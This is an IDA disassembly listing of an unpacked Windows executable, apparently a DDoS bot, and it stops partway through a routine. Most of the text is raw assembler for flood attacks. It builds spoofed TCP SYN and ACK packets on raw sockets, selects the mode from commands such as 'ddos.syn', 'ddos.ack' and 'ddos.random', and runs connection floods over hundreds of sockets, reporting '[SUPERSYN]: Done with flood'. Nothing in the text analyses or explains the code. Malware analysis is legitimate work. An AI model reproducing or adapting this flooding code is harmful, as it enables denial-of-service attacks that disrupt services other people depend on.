;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E17FAC875C1776B7AF01C6B1E8E6FE54

; File Name   :	u:\work\e17fac875c1776b7af01c6b1e8e6fe54_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0008B000 ( 569344.)
; Section size in file		: 0008B000 ( 569344.)
; Offset to raw	data for section: 00001000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EC43+39CBo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E8
		push	eax
		lea	eax, [ebp+var_494]
		push	offset dword_425050
		push	eax
		call	sub_416FB6
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D476
		add	esp, 14h

loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_290]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E8+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43EA9C	; WSAStartup
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013BB
; ---------------------------------------------------------------------------

loc_4010F2:				; CODE XREF: sub_4010B2+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43EBC8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013B3
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43EB04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013A9
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43EB24	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43EB24	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43EB24	; htons
		mov	[ebp+var_12], ax
		call	sub_417012
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43EB24	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43EB20	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------

loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------

loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_417012
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_417012
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43EB24	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_423060	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42305C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417460
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2EEj
		mov	[ebp+var_4], bx
		call	sub_417012
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43EB24	; htons
		mov	[ebp+var_14], ax
		call	sub_417012
		mov	edi, eax
		shl	edi, 10h
		call	sub_417012
		or	edi, eax
		push	edi
		call	dword_43EB24	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43EB20	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43EB24	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AD61
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417090
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417090
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AD61
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417090
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43EB88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013BF
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42305C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013A6
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jb	loc_401264

loc_4013A6:				; CODE XREF: sub_4010B2+2E0j
		mov	ebx, [ebp+arg_8]

loc_4013A9:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+334j
		push	[ebp+var_20]
		call	dword_43EBBC	; closesocket
		pop	esi

loc_4013B3:				; CODE XREF: sub_4010B2+5Bj
		call	dword_43EA84	; WSACleanup
		mov	eax, ebx

loc_4013BB:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4013BF:				; CODE XREF: sub_4010B2+2CBj
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_425094
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BD8D
		add	esp, 10h
		jmp	short loc_4013A9
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E8	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ABF8
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41751F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41751F
		mov	edi, eax
		call	sub_417012
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401435
		inc	eax

loc_401435:				; CODE XREF: sub_4013E8+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401444	proc near		; DATA XREF: sub_40EC43+3BBEo

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_1BC]
		push	0FFh
		inc	ebx
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43EBA4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014DF
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_425228
		push	eax

loc_401493:				; DATA XREF: .data:off_4272E8o
		call	sub_416FB6
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C2
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D476
		add	esp, 14h

loc_4014C2:				; CODE XREF: sub_401444+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_38]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_4014DF:				; CODE XREF: sub_401444+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43EB04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401556
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4251E0
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401539
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D476
		add	esp, 14h

loc_401539:				; CODE XREF: sub_401444+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_38]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_401556:				; CODE XREF: sub_401444+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43EB64	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015BD
		lea	eax, [ebp+var_3BC]
		push	offset unk_4251B0
		push	eax
		call	sub_416FB6
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A0
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D476
		add	esp, 14h

loc_4015A0:				; CODE XREF: sub_401444+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_38]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_4015BD:				; CODE XREF: sub_401444+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43EB24	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43EB64	; inet_addr
		mov	esi, dword_423058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		jmp	loc_40171E
; ---------------------------------------------------------------------------

loc_401600:				; CODE XREF: sub_401444+2EBj
		push	41Ch
		mov	byte_43B8C8, 45h
		call	dword_43EB24	; htons
		cmp	[ebp+var_2C], edi
		mov	word_43B8CA, ax
		mov	word_43B8CC, bx
		mov	word_43B8CE, di
		mov	byte_43B8D0, 80h
		mov	byte_43B8D1, bl
		mov	word_43B8D2, di
		jz	short loc_40166F
		call	sub_417012
		mov	ebx, eax
		shl	ebx, 8
		call	sub_417012
		add	ebx, eax
		shl	ebx, 8
		call	sub_417012
		add	ebx, eax
		shl	ebx, 8
		call	sub_417012
		add	ebx, eax
		mov	dword_43B8D4, ebx
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_401687
; ---------------------------------------------------------------------------

loc_40166F:				; CODE XREF: sub_401444+1F9j
		push	[ebp+var_1BC]
		call	sub_40AD08
		pop	ecx
		push	eax
		call	dword_43EB64	; inet_addr
		mov	dword_43B8D4, eax

loc_401687:				; CODE XREF: sub_401444+229j
		mov	eax, [ebp+var_18]
		mov	dword_43B8D8, eax
		call	sub_417012
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43B8DC, dl
		call	sub_417012
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_43B8DD, dl
		call	sub_417012
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_43B8DE, di
		mov	word_43B8E2, bx
		inc	edx
		mov	word_43B8E0, dx
		call	sub_417012
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_43B8E4
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_43B8C8
		push	[ebp+var_4]
		call	dword_43EB88	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4017BA
		inc	[ebp+arg_0]

loc_40171E:				; CODE XREF: sub_401444+1B7j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_30]
		jbe	loc_401600
		push	[ebp+var_4]
		call	dword_43EBBC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_425150
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40179D
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D476
		add	esp, 14h

loc_40179D:				; CODE XREF: sub_401444+337j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_38]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread

loc_4017BA:				; CODE XREF: sub_401444+2D1j
		push	[ebp+var_4]
		call	dword_43EBBC	; closesocket
		call	dword_43EAB8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4250F0
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_401812
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D476
		add	esp, 14h

loc_401812:				; CODE XREF: sub_401444+3ACj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_38]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread
sub_401444	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182F	proc near		; DATA XREF: sub_40EC43+1513o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401985
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_416FB6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AC
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D476
		add	esp, 14h

loc_4018AC:				; CODE XREF: sub_40182F+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_10]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_40182F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CB	proc near		; CODE XREF: sub_401985+27p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43EB24	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_401981
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_401915:				; CODE XREF: sub_4018CB+B2j
		xor	esi, esi

loc_401917:				; CODE XREF: sub_4018CB+77j
		push	0
		push	1
		push	2
		call	dword_423214	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_40193F
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	dword_423218	; ioctlsocket

loc_40193F:				; CODE XREF: sub_4018CB+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_401917
		xor	esi, esi

loc_401946:				; CODE XREF: sub_4018CB+91j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	[ebp+esi*4+var_654]
		call	dword_42321C	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_401946
		push	64h
		call	dword_423064	; Sleep
		xor	esi, esi

loc_401968:				; CODE XREF: sub_4018CB+ADj
		push	[ebp+esi*4+var_654]
		call	dword_423220	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_401968
		dec	[ebp+arg_4]
		jnz	short loc_401915
		pop	edi
		pop	esi

loc_401981:				; CODE XREF: sub_4018CB+3Ej
		xor	eax, eax
		leave
		retn
sub_4018CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401985	proc near		; CODE XREF: sub_40182F+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ABF8
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41751F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41751F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018CB
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019B9
		inc	eax

loc_4019B9:				; CODE XREF: sub_401985+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401985	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019C8	proc near		; DATA XREF: sub_40EC43+38BCo

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D15
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_425294
		push	eax
		call	sub_416FB6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_401A45
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D476
		add	esp, 14h

loc_401A45:				; CODE XREF: sub_4019C8+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_10]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	esi
		call	dword_423054	; ExitThread
		pop	edi
		pop	esi
sub_4019C8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A64	proc near		; CODE XREF: sub_401D15+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43EA9C	; WSAStartup
		test	eax, eax
		jz	short loc_401AA4
		xor	eax, eax
		jmp	loc_401CE8
; ---------------------------------------------------------------------------

loc_401AA4:				; CODE XREF: sub_401A64+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43EBC8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401CE0
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43EB04	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_401CD6
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43EB24	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
